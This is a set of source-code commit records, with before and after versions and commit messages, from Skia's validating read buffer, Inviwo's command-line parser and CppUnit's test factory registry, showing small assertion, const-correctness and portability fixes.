this->validate(IsPtrAlign4(fReader.peek()) && fReader.isAvailable(inc));\n return fError ? 0 : fReader.readInt();\n}\n\nSkScalar SkValidatingReadBuffer::readScalar() {\n const size_t inc = sizeof(SkScalar);\n this->validate(IsPtrAlign4(fReader.peek()) && fReader.isAvailable(inc));\n return fError ? 0 : fReader.readScalar();\n}\n\nuint32_t SkValidatingReadBuffer::readUInt() {\n return this->readInt();\n}\n\nint32_t SkValidatingReadBuffer::read32() {\n return this->readInt();\n}\n\nvoid SkValidatingReadBuffer::readString(SkString* string) {\n const size_t len = this->readUInt();\n const void* ptr = fReader.peek();\n const char* cptr = (const char*)ptr;\n\n \/\/ skip over the string + '\\0' and then pad to a multiple of 4\n const size_t alignedSize = SkAlign4(len + 1);\n this->skip(alignedSize);\n if (!fError) {\n this->validate(cptr[len] == '\\0');\n }\n if (!fError) {\n string->set(cptr, len);\n }\n}\n\nvoid* SkValidatingReadBuffer::readEncodedString(size_t* length, SkPaint::TextEncoding encoding) {\n const int32_t encodingType = this->readInt();\n this->validate(encodingType == encoding);\n *length = this->readInt();\n const void* ptr = this->skip(SkAlign4(*length));\n void* data = nullptr;\n if (!fError) {\n data = sk_malloc_throw(*length);\n memcpy(data, ptr, *length);\n }\n return data;\n}\n\nvoid SkValidatingReadBuffer::readPoint(SkPoint* point) {\n point->fX = this->readScalar();\n point->fY = this->readScalar();\n}\n\nvoid SkValidatingReadBuffer::readMatrix(SkMatrix* matrix) {\n size_t size = 0;\n if (!fError) {\n size = matrix->readFromMemory(fReader.peek(), fReader.available());\n this->validate((SkAlign4(size) == size) && (0 != size));\n }\n if (!fError) {\n (void)this->skip(size);\n }\n}\n\nvoid SkValidatingReadBuffer::readIRect(SkIRect* rect) {\n const void* ptr = this->skip(sizeof(SkIRect));\n if (!fError) {\n memcpy(rect, ptr, sizeof(SkIRect));\n }\n}\n\nvoid SkValidatingReadBuffer::readRect(SkRect* rect) {\n const void* ptr = this->skip(sizeof(SkRect));\n if (!fError) {\n memcpy(rect, ptr, sizeof(SkRect));\n }\n}\n\nvoid SkValidatingReadBuffer::readRegion(SkRegion* region) {\n size_t size = 0;\n if (!fError) {\n size = region->readFromMemory(fReader.peek(), fReader.available());\n this->validate((SkAlign4(size) == size) && (0 != size));\n }\n if (!fError) {\n (void)this->skip(size);\n }\n}\n\nvoid SkValidatingReadBuffer::readPath(SkPath* path) {\n size_t size = 0;\n if (!fError) {\n size = path->readFromMemory(fReader.peek(), fReader.available());\n this->validate((SkAlign4(size) == size) && (0 != size));\n }\n if (!fError) {\n (void)this->skip(size);\n }\n}\n\nbool SkValidatingReadBuffer::readArray(void* value, size_t size, size_t elementSize) {\n const uint32_t count = this->getArrayCount();\n this->validate(size == count);\n (void)this->skip(sizeof(uint32_t)); \/\/ Skip array count\n const uint64_t byteLength64 = sk_64_mul(count, elementSize);\n const size_t byteLength = count * elementSize;\n this->validate(byteLength == byteLength64);\n const void* ptr = this->skip(SkAlign4(byteLength));\n if (!fError) {\n memcpy(value, ptr, byteLength);\n return true;\n }\n return false;\n}\n\nbool SkValidatingReadBuffer::readByteArray(void* value, size_t size) {\n return readArray(static_cast<unsigned char*>(value), size, sizeof(unsigned char));\n}\n\nbool SkValidatingReadBuffer::readColorArray(SkColor* colors, size_t size) {\n return readArray(colors, size, sizeof(SkColor));\n}\n\nbool SkValidatingReadBuffer::readIntArray(int32_t* values, size_t size) {\n return readArray(values, size, sizeof(int32_t));\n}\n\nbool SkValidatingReadBuffer::readPointArray(SkPoint* points, size_t size) {\n return readArray(points, size, sizeof(SkPoint));\n}\n\nbool SkValidatingReadBuffer::readScalarArray(SkScalar* values, size_t size) {\n return readArray(values, size, sizeof(SkScalar));\n}\n\nuint32_t SkValidatingReadBuffer::getArrayCount() {\n const size_t inc = sizeof(uint32_t);\n fError = fError || !IsPtrAlign4(fReader.peek()) || !fReader.isAvailable(inc);\n return fError ? 0 : *(uint32_t*)fReader.peek();\n}\n\nSkTypeface* SkValidatingReadBuffer::readTypeface() {\n \/\/ TODO: Implement this (securely) when needed\n return nullptr;\n}\n\nbool SkValidatingReadBuffer::validateAvailable(size_t size) {\n return this->validate((size <= SK_MaxU32) && fReader.isAvailable(static_cast<uint32_t>(size)));\n}\n\nSkFlattenable* SkValidatingReadBuffer::readFlattenable(SkFlattenable::Type type) {\n SkString name;\n this->readString(&name);\n if (fError) {\n return nullptr;\n }\n\n \/\/ Is this the type we wanted ?\n const char* cname = name.c_str();\n SkFlattenable::Type baseType;\n if (!SkFlattenable::NameToType(cname, &baseType) || (baseType != type)) {\n return nullptr;\n }\n\n SkFlattenable::Factory factory = SkFlattenable::NameToFactory(cname);\n if (nullptr == factory) {\n return nullptr; \/\/ writer failed to give us the flattenable\n }\n\n \/\/ if we get here, factory may still be null, but if that is the case, the\n \/\/ failure was ours, not the writer.\n SkFlattenable* obj = nullptr;\n uint32_t sizeRecorded = this->readUInt();\n if (factory) {\n size_t offset = fReader.offset();\n obj = (*factory)(*this);\n \/\/ check that we read the amount we expected\n size_t sizeRead = fReader.offset() - offset;\n this->validate(sizeRecorded == sizeRead);\n if (fError) {\n \/\/ we could try to fix up the offset...\n SkSafeUnref(obj);\n obj = nullptr;\n }\n } else {\n \/\/ we must skip the remaining data\n this->skip(sizeRecorded);\n SkASSERT(false);\n }\n return obj;\n}\n\nvoid SkValidatingReadBuffer::skipFlattenable() {\n SkString name;\n this->readString(&name);\n if (fError) {\n return;\n }\n uint32_t sizeRecorded = this->readUInt();\n this->skip(sizeRecorded);\n}\n<commit_msg>SkValidatingReadBuffer: make sure we don't call readTypeface().<commit_after>\/*\n * Copyright 2013 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkBitmap.h\"\n#include \"SkErrorInternals.h\"\n#include \"SkValidatingReadBuffer.h\"\n#include \"SkStream.h\"\n#include \"SkTypeface.h\"\n\nSkValidatingReadBuffer::SkValidatingReadBuffer(const void* data, size_t size) :\n fError(false) {\n this->setMemory(data, size);\n this->setFlags(SkReadBuffer::kValidation_Flag);\n}\n\nSkValidatingReadBuffer::~SkValidatingReadBuffer() {\n}\n\nbool SkValidatingReadBuffer::validate(bool isValid) {\n if (!fError && !isValid) {\n \/\/ When an error is found, send the read cursor to the end of the stream\n fReader.skip(fReader.available());\n fError = true;\n }\n return !fError;\n}\n\nbool SkValidatingReadBuffer::isValid() const {\n return !fError;\n}\n\nvoid SkValidatingReadBuffer::setMemory(const void* data, size_t size) {\n this->validate(IsPtrAlign4(data) && (SkAlign4(size) == size));\n if (!fError) {\n fReader.setMemory(data, size);\n }\n}\n\nconst void* SkValidatingReadBuffer::skip(size_t size) {\n size_t inc = SkAlign4(size);\n const void* addr = fReader.peek();\n this->validate(IsPtrAlign4(addr) && fReader.isAvailable(inc));\n if (!fError) {\n fReader.skip(size);\n }\n return addr;\n}\n\n\/\/ All the methods in this file funnel down into either readInt(), readScalar() or skip(),\n\/\/ followed by a memcpy. So we've got all our validation in readInt(), readScalar() and skip();\n\/\/ if they fail they'll return a zero value or skip nothing, respectively, and set fError to\n\/\/ true, which the caller should check to see if an error occurred during the read operation.\n\nbool SkValidatingReadBuffer::readBool() {\n uint32_t value = this->readInt();\n \/\/ Boolean value should be either 0 or 1\n this->validate(!(value & ~1));\n return value != 0;\n}\n\nSkColor SkValidatingReadBuffer::readColor() {\n return this->readInt();\n}\n\nSkFixed SkValidatingReadBuffer::readFixed() {\n return this->readInt();\n}\n\nint32_t SkValidatingReadBuffer::readInt() {\n const size_t inc = sizeof(int32_t);\n this->validate(IsPtrAlign4(fReader.peek()) && fReader.isAvailable(inc));\n return fError ? 0 : fReader.readInt();\n}\n\nSkScalar SkValidatingReadBuffer::readScalar() {\n const size_t inc = sizeof(SkScalar);\n this->validate(IsPtrAlign4(fReader.peek()) && fReader.isAvailable(inc));\n return fError ? 0 : fReader.readScalar();\n}\n\nuint32_t SkValidatingReadBuffer::readUInt() {\n return this->readInt();\n}\n\nint32_t SkValidatingReadBuffer::read32() {\n return this->readInt();\n}\n\nvoid SkValidatingReadBuffer::readString(SkString* string) {\n const size_t len = this->readUInt();\n const void* ptr = fReader.peek();\n const char* cptr = (const char*)ptr;\n\n \/\/ skip over the string + '\\0' and then pad to a multiple of 4\n const size_t alignedSize = SkAlign4(len + 1);\n this->skip(alignedSize);\n if (!fError) {\n this->validate(cptr[len] == '\\0');\n }\n if (!fError) {\n string->set(cptr, len);\n }\n}\n\nvoid* SkValidatingReadBuffer::readEncodedString(size_t* length, SkPaint::TextEncoding encoding) {\n const int32_t encodingType = this->readInt();\n this->validate(encodingType == encoding);\n *length = this->readInt();\n const void* ptr = this->skip(SkAlign4(*length));\n void* data = nullptr;\n if (!fError) {\n data = sk_malloc_throw(*length);\n memcpy(data, ptr, *length);\n }\n return data;\n}\n\nvoid SkValidatingReadBuffer::readPoint(SkPoint* point) {\n point->fX = this->readScalar();\n point->fY = this->readScalar();\n}\n\nvoid SkValidatingReadBuffer::readMatrix(SkMatrix* matrix) {\n size_t size = 0;\n if (!fError) {\n size = matrix->readFromMemory(fReader.peek(), fReader.available());\n this->validate((SkAlign4(size) == size) && (0 != size));\n }\n if (!fError) {\n (void)this->skip(size);\n }\n}\n\nvoid SkValidatingReadBuffer::readIRect(SkIRect* rect) {\n const void* ptr = this->skip(sizeof(SkIRect));\n if (!fError) {\n memcpy(rect, ptr, sizeof(SkIRect));\n }\n}\n\nvoid SkValidatingReadBuffer::readRect(SkRect* rect) {\n const void* ptr = this->skip(sizeof(SkRect));\n if (!fError) {\n memcpy(rect, ptr, sizeof(SkRect));\n }\n}\n\nvoid SkValidatingReadBuffer::readRegion(SkRegion* region) {\n size_t size = 0;\n if (!fError) {\n size = region->readFromMemory(fReader.peek(), fReader.available());\n this->validate((SkAlign4(size) == size) && (0 != size));\n }\n if (!fError) {\n (void)this->skip(size);\n }\n}\n\nvoid SkValidatingReadBuffer::readPath(SkPath* path) {\n size_t size = 0;\n if (!fError) {\n size = path->readFromMemory(fReader.peek(), fReader.available());\n this->validate((SkAlign4(size) == size) && (0 != size));\n }\n if (!fError) {\n (void)this->skip(size);\n }\n}\n\nbool SkValidatingReadBuffer::readArray(void* value, size_t size, size_t elementSize) {\n const uint32_t count = this->getArrayCount();\n this->validate(size == count);\n (void)this->skip(sizeof(uint32_t)); \/\/ Skip array count\n const uint64_t byteLength64 = sk_64_mul(count, elementSize);\n const size_t byteLength = count * elementSize;\n this->validate(byteLength == byteLength64);\n const void* ptr = this->skip(SkAlign4(byteLength));\n if (!fError) {\n memcpy(value, ptr, byteLength);\n return true;\n }\n return false;\n}\n\nbool SkValidatingReadBuffer::readByteArray(void* value, size_t size) {\n return readArray(static_cast<unsigned char*>(value), size, sizeof(unsigned char));\n}\n\nbool SkValidatingReadBuffer::readColorArray(SkColor* colors, size_t size) {\n return readArray(colors, size, sizeof(SkColor));\n}\n\nbool SkValidatingReadBuffer::readIntArray(int32_t* values, size_t size) {\n return readArray(values, size, sizeof(int32_t));\n}\n\nbool SkValidatingReadBuffer::readPointArray(SkPoint* points, size_t size) {\n return readArray(points, size, sizeof(SkPoint));\n}\n\nbool SkValidatingReadBuffer::readScalarArray(SkScalar* values, size_t size) {\n return readArray(values, size, sizeof(SkScalar));\n}\n\nuint32_t SkValidatingReadBuffer::getArrayCount() {\n const size_t inc = sizeof(uint32_t);\n fError = fError || !IsPtrAlign4(fReader.peek()) || !fReader.isAvailable(inc);\n return fError ? 0 : *(uint32_t*)fReader.peek();\n}\n\nSkTypeface* SkValidatingReadBuffer::readTypeface() {\n SkASSERT(false);\n \/\/ TODO: Implement this (securely) when needed\n return nullptr;\n}\n\nbool SkValidatingReadBuffer::validateAvailable(size_t size) {\n return this->validate((size <= SK_MaxU32) && fReader.isAvailable(static_cast<uint32_t>(size)));\n}\n\nSkFlattenable* SkValidatingReadBuffer::readFlattenable(SkFlattenable::Type type) {\n SkString name;\n this->readString(&name);\n if (fError) {\n return nullptr;\n }\n\n \/\/ Is this the type we wanted ?\n const char* cname = name.c_str();\n SkFlattenable::Type baseType;\n if (!SkFlattenable::NameToType(cname, &baseType) || (baseType != type)) {\n return nullptr;\n }\n\n SkFlattenable::Factory factory = SkFlattenable::NameToFactory(cname);\n if (nullptr == factory) {\n return nullptr; \/\/ writer failed to give us the flattenable\n }\n\n \/\/ if we get here, factory may still be null, but if that is the case, the\n \/\/ failure was ours, not the writer.\n SkFlattenable* obj = nullptr;\n uint32_t sizeRecorded = this->readUInt();\n if (factory) {\n size_t offset = fReader.offset();\n obj = (*factory)(*this);\n \/\/ check that we read the amount we expected\n size_t sizeRead = fReader.offset() - offset;\n this->validate(sizeRecorded == sizeRead);\n if (fError) {\n \/\/ we could try to fix up the offset...\n SkSafeUnref(obj);\n obj = nullptr;\n }\n } else {\n \/\/ we must skip the remaining data\n this->skip(sizeRecorded);\n SkASSERT(false);\n }\n return obj;\n}\n\nvoid SkValidatingReadBuffer::skipFlattenable() {\n SkString name;\n this->readString(&name);\n if (fError) {\n return;\n }\n uint32_t sizeRecorded = this->readUInt();\n this->skip(sizeRecorded);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2013-2015 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <inviwo\/core\/util\/commandlineparser.h>\n\nnamespace inviwo {\n\nCommandLineParser::CommandLineParser() : CommandLineParser(0, nullptr) {}\n\nCommandLineParser::CommandLineParser(int argc, char** argv)\n : argc_(argc)\n , argv_(argv)\n , cmdQuiet_(\n \"Inviwo, Interactive Visualization Workshop, a rapid prototyping environment for \"\n \"interactive visualizations\",\n ' ', IVW_VERSION, false)\n , cmd_(\n \"Inviwo, Interactive Visualization Workshop, a rapid prototyping environment for \"\n \"interactive visualizations\",\n ' ', IVW_VERSION)\n , workspace_(\"w\", \"workspace\", \"Specify workspace to open\", false, \"\", \"workspace file\")\n , outputPath_(\"o\", \"output\", \"Specify output path\", false, \"\", \"output path\")\n , logfile_(\"l\", \"logfile\", \"Write log messages to file.\", false, \"\", \"logfile\")\n , noSplashScreen_(\"n\", \"nosplash\", \"Pass this flag if you do not want to show a splash screen.\")\n , quitAfterStartup_(\"q\", \"quit\", \"Pass this flag if you want to close inviwo after startup.\")\n , wildcard_()\n , helpQuiet_(\"h\", \"help\", \"\")\n , versionQuiet_(\"v\", \"version\", \"\") {\n cmdQuiet_.add(workspace_);\n cmdQuiet_.add(outputPath_);\n cmdQuiet_.add(quitAfterStartup_);\n cmdQuiet_.add(noSplashScreen_);\n cmdQuiet_.add(logfile_);\n cmdQuiet_.add(helpQuiet_);\n cmdQuiet_.add(versionQuiet_);\n cmdQuiet_.add(wildcard_);\n\n cmd_.add(workspace_);\n cmd_.add(outputPath_);\n cmd_.add(quitAfterStartup_);\n cmd_.add(noSplashScreen_);\n cmd_.add(logfile_);\n\n parse(Mode::Quiet);\n}\n\nCommandLineParser::~CommandLineParser() {}\n\nconst std::string CommandLineParser::getOutputPath() const {\n if (outputPath_.isSet()) return (outputPath_.getValue());\n\n return \"\";\n}\n\nconst std::string CommandLineParser::getWorkspacePath() const {\n if (workspace_.isSet()) return (workspace_.getValue());\n\n return \"\";\n}\n\nvoid CommandLineParser::parse(int argc, char** argv, Mode mode) {\n switch (mode) {\n case inviwo::CommandLineParser::Mode::Normal: {\n helpQuiet_.reset();\n versionQuiet_.reset();\n try {\n if (argc > 0) {\n cmd_.reset();\n cmd_.parse(argc, argv);\n }\n } catch (TCLAP::ArgException& e) {\n std::cerr << \"error: \" << e.error() << \" for arg \" << e.argId()\n << std::endl; \/\/ catch exceptions\n }\n break;\n }\n\n case inviwo::CommandLineParser::Mode::Quiet: {\n try {\n if (argc > 0) {\n cmdQuiet_.reset();\n cmdQuiet_.parse(argc, argv);\n }\n } catch (...) {\n }\n break;\n }\n default:\n break;\n }\n}\n\nvoid CommandLineParser::parse(Mode mode) { parse(argc_, argv_, mode); }\n\nconst std::string CommandLineParser::getLogToFileFileName() const {\n if (logfile_.isSet())\n return (logfile_.getValue());\n else\n return \"\";\n}\n\nbool CommandLineParser::getQuitApplicationAfterStartup() const {\n return quitAfterStartup_.getValue();\n}\n\nbool CommandLineParser::getShowSplashScreen() const {\n if (versionQuiet_.isSet() || helpQuiet_.isSet())\n return false;\n else\n return !(noSplashScreen_.isSet());\n}\n\nbool CommandLineParser::getLoadWorkspaceFromArg() const {\n if (workspace_.isSet()) {\n std::string values = workspace_.getValue();\n assert(values.size() != 0);\n return true;\n }\n\n return false;\n}\n\nbool CommandLineParser::getLogToFile() const {\n if (logfile_.isSet()) {\n std::string values = logfile_.getValue();\n assert(values.size() != 0);\n return true;\n }\n\n return false;\n}\n\nvoid CommandLineParser::processCallbacks() {\n std::sort(callbacks_.begin(), callbacks_.end(),\n [](typename decltype(callbacks_)::value_type& a,\n typename decltype(callbacks_)::value_type& b) {\n return std::get<0>(a) < std::get<0>(b);\n });\n for (auto& elem : callbacks_) {\n if (std::get<1>(elem)->isSet()) {\n std::get<2>(elem)();\n }\n }\n}\n\nvoid CommandLineParser::add(TCLAP::Arg* arg) { cmd_.add(arg); }\n\nvoid CommandLineParser::add(TCLAP::Arg* arg, std::function<void()> callback, int priority) {\n cmd_.add(arg);\n callbacks_.push_back(std::make_tuple(priority, arg, callback));\n}\n\n} \/\/ namespace\n<commit_msg>Core: Jenkins fix<commit_after>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2013-2015 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <inviwo\/core\/util\/commandlineparser.h>\n\nnamespace inviwo {\n\nCommandLineParser::CommandLineParser() : CommandLineParser(0, nullptr) {}\n\nCommandLineParser::CommandLineParser(int argc, char** argv)\n : argc_(argc)\n , argv_(argv)\n , cmdQuiet_(\n \"Inviwo, Interactive Visualization Workshop, a rapid prototyping environment for \"\n \"interactive visualizations\",\n ' ', IVW_VERSION, false)\n , cmd_(\n \"Inviwo, Interactive Visualization Workshop, a rapid prototyping environment for \"\n \"interactive visualizations\",\n ' ', IVW_VERSION)\n , workspace_(\"w\", \"workspace\", \"Specify workspace to open\", false, \"\", \"workspace file\")\n , outputPath_(\"o\", \"output\", \"Specify output path\", false, \"\", \"output path\")\n , logfile_(\"l\", \"logfile\", \"Write log messages to file.\", false, \"\", \"logfile\")\n , noSplashScreen_(\"n\", \"nosplash\", \"Pass this flag if you do not want to show a splash screen.\")\n , quitAfterStartup_(\"q\", \"quit\", \"Pass this flag if you want to close inviwo after startup.\")\n , wildcard_()\n , helpQuiet_(\"h\", \"help\", \"\")\n , versionQuiet_(\"v\", \"version\", \"\") {\n cmdQuiet_.add(workspace_);\n cmdQuiet_.add(outputPath_);\n cmdQuiet_.add(quitAfterStartup_);\n cmdQuiet_.add(noSplashScreen_);\n cmdQuiet_.add(logfile_);\n cmdQuiet_.add(helpQuiet_);\n cmdQuiet_.add(versionQuiet_);\n cmdQuiet_.add(wildcard_);\n\n cmd_.add(workspace_);\n cmd_.add(outputPath_);\n cmd_.add(quitAfterStartup_);\n cmd_.add(noSplashScreen_);\n cmd_.add(logfile_);\n\n parse(Mode::Quiet);\n}\n\nCommandLineParser::~CommandLineParser() {}\n\nconst std::string CommandLineParser::getOutputPath() const {\n if (outputPath_.isSet()) return (outputPath_.getValue());\n\n return \"\";\n}\n\nconst std::string CommandLineParser::getWorkspacePath() const {\n if (workspace_.isSet()) return (workspace_.getValue());\n\n return \"\";\n}\n\nvoid CommandLineParser::parse(int argc, char** argv, Mode mode) {\n switch (mode) {\n case inviwo::CommandLineParser::Mode::Normal: {\n helpQuiet_.reset();\n versionQuiet_.reset();\n try {\n if (argc > 0) {\n cmd_.reset();\n cmd_.parse(argc, argv);\n }\n } catch (TCLAP::ArgException& e) {\n std::cerr << \"error: \" << e.error() << \" for arg \" << e.argId()\n << std::endl; \/\/ catch exceptions\n }\n break;\n }\n\n case inviwo::CommandLineParser::Mode::Quiet: {\n try {\n if (argc > 0) {\n cmdQuiet_.reset();\n cmdQuiet_.parse(argc, argv);\n }\n } catch (...) {\n }\n break;\n }\n default:\n break;\n }\n}\n\nvoid CommandLineParser::parse(Mode mode) { parse(argc_, argv_, mode); }\n\nconst std::string CommandLineParser::getLogToFileFileName() const {\n if (logfile_.isSet())\n return (logfile_.getValue());\n else\n return \"\";\n}\n\nbool CommandLineParser::getQuitApplicationAfterStartup() const {\n return quitAfterStartup_.getValue();\n}\n\nbool CommandLineParser::getShowSplashScreen() const {\n if (versionQuiet_.isSet() || helpQuiet_.isSet())\n return false;\n else\n return !(noSplashScreen_.isSet());\n}\n\nbool CommandLineParser::getLoadWorkspaceFromArg() const {\n if (workspace_.isSet()) {\n std::string values = workspace_.getValue();\n assert(values.size() != 0);\n return true;\n }\n\n return false;\n}\n\nbool CommandLineParser::getLogToFile() const {\n if (logfile_.isSet()) {\n std::string values = logfile_.getValue();\n assert(values.size() != 0);\n return true;\n }\n\n return false;\n}\n\nvoid CommandLineParser::processCallbacks() {\n std::sort(callbacks_.begin(), callbacks_.end(),\n [](const typename decltype(callbacks_)::value_type& a,\n const typename decltype(callbacks_)::value_type& b) {\n return std::get<0>(a) < std::get<0>(b);\n });\n for (auto& elem : callbacks_) {\n if (std::get<1>(elem)->isSet()) {\n std::get<2>(elem)();\n }\n }\n}\n\nvoid CommandLineParser::add(TCLAP::Arg* arg) { cmd_.add(arg); }\n\nvoid CommandLineParser::add(TCLAP::Arg* arg, std::function<void()> callback, int priority) {\n cmd_.add(arg);\n callbacks_.push_back(std::make_tuple(priority, arg, callback));\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>#include <cppunit\/extensions\/TestFactoryRegistry.h>\n#include <cppunit\/portability\/CppUnitMap.h>\n#include <cppunit\/TestSuite.h>\n#include <assert.h>\n\n\nCPPUNIT_NS_BEGIN\n\n\/*! \\brief (INTERNAL) List of all TestFactoryRegistry.\n *\/\nclass TestFactoryRegistryList\n{\nprivate:\n typedef CppUnitMap<std::string, TestFactoryRegistry *> Registries;\n Registries m_registries;\n\n enum State {\n doNotChange =0,\n notCreated,\n exist,\n destroyed\n };\n\n static State stateFlag( State newState = doNotChange )\n {\n static State state = notCreated;\n if ( newState != doNotChange )\n state = newState;\n return state;\n }\n\n static TestFactoryRegistryList *getInstance()\n {\n static TestFactoryRegistryList list;\n return &list;\n }\n\n TestFactoryRegistry *getInternalRegistry( const std::string &name )\n {\n Registries::const_iterator foundIt = m_registries.find( name );\n if ( foundIt == m_registries.end() )\n {\n TestFactoryRegistry *factory = new TestFactoryRegistry( name );\n m_registries.insert( std::make_pair( name, factory ) );\n return factory;\n }\n return foundIt->second;\n }\n\npublic:\n TestFactoryRegistryList()\n {\n stateFlag( exist );\n }\n\n ~TestFactoryRegistryList()\n {\n for ( Registries::iterator it = m_registries.begin(); it != m_registries.end(); ++it )\n delete it->second;\n\n stateFlag( destroyed );\n }\n\n static TestFactoryRegistry *getRegistry( const std::string &name )\n {\n \/\/ If the following assertion failed, then TestFactoryRegistry::getRegistry() \n \/\/ was called during static variable destruction without checking the registry \n \/\/ validity beforehand using TestFactoryRegistry::isValid() beforehand.\n assert( isValid() );\n if ( !isValid() ) \/\/ release mode\n return NULL; \/\/ => force CRASH\n\n return getInstance()->getInternalRegistry( name );\n }\n\n static bool isValid()\n {\n return stateFlag() != destroyed;\n }\n};\n\n\n\nTestFactoryRegistry::TestFactoryRegistry( std::string name ) :\n m_name( name )\n{\n}\n\n\nTestFactoryRegistry::~TestFactoryRegistry()\n{\n}\n\n\nTestFactoryRegistry &\nTestFactoryRegistry::getRegistry( const std::string &name )\n{\n return *TestFactoryRegistryList::getRegistry( name );\n}\n\n\nvoid \nTestFactoryRegistry::registerFactory( const std::string &name,\n TestFactory *factory )\n{\n registerFactory( factory );\n}\n\n\nvoid \nTestFactoryRegistry::registerFactory( TestFactory *factory )\n{\n m_factories.insert( factory );\n}\n\n\nvoid \nTestFactoryRegistry::unregisterFactory( TestFactory *factory )\n{\n m_factories.erase( factory );\n}\n\n\nvoid \nTestFactoryRegistry::addRegistry( const std::string &name )\n{\n registerFactory( &getRegistry( name ) );\n}\n\n\nTest *\nTestFactoryRegistry::makeTest()\n{\n TestSuite *suite = new TestSuite( m_name );\n addTestToSuite( suite );\n return suite;\n}\n\n\nvoid \nTestFactoryRegistry::addTestToSuite( TestSuite *suite )\n{\n for ( Factories::iterator it = m_factories.begin(); \n it != m_factories.end(); \n ++it )\n {\n TestFactory *factory = *it;\n suite->addTest( factory->makeTest() );\n }\n}\n\n\nbool \nTestFactoryRegistry::isValid()\n{\n return TestFactoryRegistryList::isValid();\n}\n\n\nCPPUNIT_NS_END\n<commit_msg>map needs comparator, make_pair to pair, and map dereference fix (SUN4)<commit_after>#include <cppunit\/extensions\/TestFactoryRegistry.h>\n#include <cppunit\/portability\/CppUnitMap.h>\n#include <cppunit\/TestSuite.h>\n#include <assert.h>\n\n\nCPPUNIT_NS_BEGIN\n\n\/*! \\brief (INTERNAL) List of all TestFactoryRegistry.\n *\/\nclass TestFactoryRegistryList\n{\nprivate:\n typedef CppUnitMap<std::string, TestFactoryRegistry *, std::less<std::string> > Registries;\n Registries m_registries;\n\n enum State {\n doNotChange =0,\n notCreated,\n exist,\n destroyed\n };\n\n static State stateFlag( State newState = doNotChange )\n {\n static State state = notCreated;\n if ( newState != doNotChange )\n state = newState;\n return state;\n }\n\n static TestFactoryRegistryList *getInstance()\n {\n static TestFactoryRegistryList list;\n return &list;\n }\n\n TestFactoryRegistry *getInternalRegistry( const std::string &name )\n {\n Registries::const_iterator foundIt = m_registries.find( name );\n if ( foundIt == m_registries.end() )\n {\n TestFactoryRegistry *factory = new TestFactoryRegistry( name );\n m_registries.insert( std::pair<const std::string, TestFactoryRegistry*>( name, factory ) );\n return factory;\n }\n return (*foundIt).second;\n }\n\npublic:\n TestFactoryRegistryList()\n {\n stateFlag( exist );\n }\n\n ~TestFactoryRegistryList()\n {\n for ( Registries::iterator it = m_registries.begin(); it != m_registries.end(); ++it )\n delete (*it).second;\n\n stateFlag( destroyed );\n }\n\n static TestFactoryRegistry *getRegistry( const std::string &name )\n {\n \/\/ If the following assertion failed, then TestFactoryRegistry::getRegistry() \n \/\/ was called during static variable destruction without checking the registry \n \/\/ validity beforehand using TestFactoryRegistry::isValid() beforehand.\n assert( isValid() );\n if ( !isValid() ) \/\/ release mode\n return NULL; \/\/ => force CRASH\n\n return getInstance()->getInternalRegistry( name );\n }\n\n static bool isValid()\n {\n return stateFlag() != destroyed;\n }\n};\n\n\n\nTestFactoryRegistry::TestFactoryRegistry( std::string name ) :\n m_name( name 